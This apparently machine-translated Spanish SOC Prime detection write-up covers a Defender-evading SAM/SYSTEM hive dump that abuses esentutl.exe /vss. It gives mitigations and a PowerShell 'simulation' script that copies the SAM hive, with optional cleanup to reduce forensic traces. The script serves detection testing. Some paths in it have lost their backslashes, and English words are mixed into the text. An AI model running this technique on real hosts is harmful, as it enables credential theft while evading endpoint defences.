SOC Prime Bias: Medio

28 Abr 2026 18:51

El Mes de los Evasores: Lo que Defender No Detecta

Author Photo
SOC Prime Team linkedin icon Seguir
El Mes de los Evasores: Lo que Defender No Detecta
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El equipo de Seguridad Persistente describe una nueva forma de eludir la detección para la técnica de volcado de credenciales T1003.002 al abusar de la utilidad firmada de Windows esentutl.exe. Al usar las banderas relacionadas con VSS, la herramienta puede copiar las SAM and colmenas del registro SYSTEM sin activar Microsoft Defender de la misma manera que los métodos de volcado más comunes.

Investigación

Los investigadores probaron tres enfoques tradicionales para volcar las colmenas, incluyendo reg save, vssadmin creación de copia sombra y copia de archivos directa, y encontraron que Defender bloqueó cada uno de ellos. Luego utilizaron pruebas variantes asistidas por IA para identificar un camino alternativo: esentutl.exe podía acceder y extraer las colmenas a través de su funcionalidad VSS incorporada mientras evitaba las detecciones existentes de Defender.

Mitigación

Las defensas recomendadas incluyen restringir esentutl.exe a través de AppLocker o WDAC, crear reglas de Sysmon para detectar ejecuciones de esentutl que usan la bandera /vss y monitorear la actividad de copia sombra iniciada fuera del comportamiento normal del sistema. Las organizaciones también deberían implementar LAPS para las cuentas de administrador local y deshabilitar VSS donde no sea necesario operativamente.

Respuesta

If esentutl.exe se observa ejecutándose con la bandera /vss y escribiendo en archivos asociados con SAM or colmenas del registro SYSTEM, los defensores deben aislar el host afectado, recopilar evidencia de memoria y registro, confirmar si ocurrió volcado de credenciales, y aplicar los controles de política recomendados para prevenir la recurrencia.

graph TB %% Class Definitions classDef action fill:#99ccff classDef builtin fill:#cccccc classDef file fill:#ffdd99 %% Nodes action_esentutl_exec[«<b>Acción</b> – <b>T1218.002 Ejecución Proxy de Binario del Sistema</b><br/>Ejecutar esentutl.exe con los parámetros /y /vss para crear una Copia de Sombra de Volumen»] class action_esentutl_exec action tool_esentutl[«<b>Herramienta</b> – <b>Nombre</b>: esentutl.exe<br/><b>Descripción</b>: Utilidad interna de Windows para la gestión del Extensible Storage Engine»] class tool_esentutl builtin action_copy_hives[«<b>Acción</b> – <b>T1003 Volcado de Credenciales del Sistema Operativo</b><br/>Copiar los archivos de registro SAM y SYSTEM desde la copia sombra a una ubicación escribible»] class action_copy_hives action action_store_unsecured[«<b>Acción</b> – <b>T1552.001 Credenciales en Archivos</b><br/>Almacenar los archivos de registro volcados en disco para análisis offline posterior»] class action_store_unsecured action file_sam[«<b>Archivo</b> – sam_dump<br/><b>Contenido</b>: Hive SAM que contiene hashes de contraseñas»] class file_sam file file_sys[«<b>Archivo</b> – sys_dump<br/><b>Contenido</b>: Hive SYSTEM que contiene la clave de arranque del sistema»] class file_sys file %% Connections action_esentutl_exec –>|uses| tool_esentutl action_esentutl_exec –>|leads_to| action_copy_hives action_copy_hives –>|uses| tool_esentutl action_copy_hives –>|creates| file_sam action_copy_hives –>|creates| file_sys file_sam –>|used_by| action_store_unsecured file_sys –>|used_by| action_store_unsecured

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Base debe haber pasado.

Fundamento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    Un adversario que ha obtenido un punto de apoyo en un host de Windows comprometido desea cosechar hashes de credenciales sin activar las herramientas típicas de volcado de credenciales que normalmente son monitoreadas. El atacante aprovecha el esentutl.exe binario incorporado con el /vss conmutador para crear una copia sombra del volumen del sistema y extraer la colmena SAM protegida. Los pasos son:

    1. Crear un directorio temporal para la exportación del instantánea.
    2. Invocar esentutl.exe con las banderas /y (sobrescribir) y /vss , dirigiéndose a la ruta de la colmena SAM.
    3. Copiar el archivo SAM exportado a una ubicación bajo el control del atacante.
    4. (Opcional) Limpiar el archivo de instantánea temporal para reducir la huella forense.

    Esta secuencia produce un evento Sysmon ProcessCreate donde Image termina con esentutl.exe and CommandLine contiene la cadena /vss, satisfaciendo la regla de detección.

  • Script de Prueba de Regresión:

    # ----------------------------------------------
    # Simular extracción de SAM basada en VSS usando esentutl
    # ----------------------------------------------
    $tempDir = "$env:TEMPVSS_Export"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # Ruta a la colmena SAM (copia de solo lectura será exportada)
    $samHive = "$env:SystemRootSystem32configSAM"
    $outputFile = Join-Path $tempDir "SAM_copy.edb"
    
    # Ejecutar esentutl con VSS para exportar la colmena SAM
    $esentPath = "$env:SystemRootSystem32esentutl.exe"
    $arguments = "/y /vss `"$samHive`" `"$outputFile`""
    
    Write-Host "Ejecutando: $esentPath $arguments"
    & $esentPath $arguments
    
    # Verificar que la exportación tuvo éxito
    if (Test-Path $outputFile) {
        Write-Host "Colmena SAM exportada a $outputFile"
    } else {
        Write-Warning "Exportación fallida o no se creó archivo."
    }
    
    # Limpiar archivo de instantánea (opcional, depende del comportamiento del SO)
    # Nota: Los archivos de instantáneas de VSS típicamente son autoeliminados después de la exportación.
  • Comandos de Limpieza:

    # Eliminar directorio y archivos de exportación temporales
    $tempDir = "$env:TEMPVSS_Export"
    if (Test-Path $tempDir) {
        Remove-Item -Recurse -Force -Path $tempDir
        Write-Host "Limpieza completa: $tempDir eliminado."
    } else {
        Write-Host "No se necesita limpieza; directorio no encontrado."
    }